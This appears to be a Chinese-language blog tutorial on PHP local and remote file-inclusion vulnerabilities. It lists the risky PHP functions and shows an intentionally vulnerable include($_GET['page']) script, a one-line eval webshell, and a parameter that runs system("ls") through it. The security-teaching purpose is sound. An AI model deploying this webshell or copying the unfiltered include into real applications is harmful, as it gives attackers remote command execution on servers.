当前位置: 首页 > article >正文

文件包含 0 1学习

漏洞原理

成因

文件包含漏洞是一个最常见的依赖与脚本运行而影响Web应用程序的漏洞.当应用程序使用攻击者控制的变量建立一个可执行代码的路径,允许攻击者控制在运行时执行哪个文件时,就会导致文件包含漏洞.程序开发人员通常会把可重复使用的函数写入单文件中,在使用这些函数时,程序开发人员直接调用此文件,而无需再次编写函数,这种调用文件的过程一般被称为文件包含,此外,程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,导致文件包含漏洞.

危险函数

文件包含漏洞出现的前提是服务器开启allow_url_include选项在此前提下就可以通过php的某些特性函数(include require,include_once,require_once)利用url去动态包含文件,区别在于include(),include_once()遇到错误继续执行,而require(),require_once()遇到错误直接退出程序,如果在PHP配置中开启了allow_url_fopen,那么就可以进行远程文件包含.

函数

概况

include(filepath&<url&伪协议>)

在包含的过程中如果出现错误,会抛出一个警告,程序继续正常执行

include_once(filepath&<url&伪协议>)

只包含一次,其他同上

require(filepath&<url&伪协议>)

在包含的过程中如果出现错误,会直接报错并退出程序的执行

require_once(filepath&<url&伪协议>)

只包含一次,其他同上

file(filepath&<url&伪协议>)

把整个文件读入一个数组

fopen(filepath&<url&伪协议>,$mode)

打开文件或者URL(包含伪协议),搭配fread()和fgets()使用

readfile(filepath&<url&伪协议>)

读取并输出文件(不输出php代码),返回字节数

highlight_file(filepath&<url&伪协议>)

高亮输出代码

show_source(filepath&<url&伪协议>)

同上

file_get_contents(filepath&<url&伪协议>)

把整个文件读入一个字符串

最简单的文件包含

<?php
$file=$_GET['page'];
include($file);
?>

代码分析:
$file=$_GET['page'];会将get传参page的值赋值给$file
include(包含$file)任何文件包含后如果携带有php代码会直接解析

这里用户以GET形式的页面传入变量file,随后被include函数包含,中途没有进行任何过滤和规范性检测,黑客往往利用这种漏洞进行任意代码执行或文件读取

实验

include.php

<?php
$file=$_GET['page'];
include($file);
?>

.任意后缀名都可以

phpinfo

<? php phpinfo(); ?>包含phpinfo直接显示

一句话木马

<? php eval($_GET['md']); ?>
注意事项
文件包含只包含xxx文件如果是想给包含的文件传入数据需要用到&然后指定传入什么数据
在使用system的时候需要"system('命令');"记住不要忘记;

 &md=system("ls");


http://www.kler.cn/a/444104.html

相关文章:

  • 软件需求建模方法
  • lpips使用笔记
  • 使用二分查找法找出给定点距离给定点集合距离最近的点
  • Pytorch | 从零构建ResNet对CIFAR10进行分类
  • 数智化转型是什么?
  • 【HarmonyOS之旅】DevEco Studio的安装与环境配置
  • 【Prompt Engineering】1.编写 Prompt 的原则
  • [Unity Shader]【游戏开发】【图形渲染】Unity Shader的结构3-深入理解 Fallback 指令及其应用
  • 信息安全管理与评估赛题第1套
  • JSX和vue模版哪个更好?
  • 深入理解 Linux 内核启动流程
  • 力扣45. 跳跃游戏 II
  • 基于springboot社区服务系统
  • 如何区分PHP和java?原生源码和次生源码的区别?
  • 前端本地数据存储方式有哪些
  • 基于QT(C++)实现的日历程序
  • QT基础和练习
  • 利用Python爬虫获取微店商品详情API接口的深入指南
  • 蓝桥杯——竞赛省赛国赛题分享
  • React中定义和使用函数式组件
  • 天天 AI-241215:今日热点-OpenAI发布ChatGPT Projects,万能工具箱上线!
  • Vue零基础教程|从前端框架到GIS开发系列课程(五)组件式开发
  • Quartz 架构和单体应用介绍
  • 汽车IVI中控开发入门及进阶(三十八):HiCar开发
  • 数据结构,链表的简单使用
  • UDP基本了解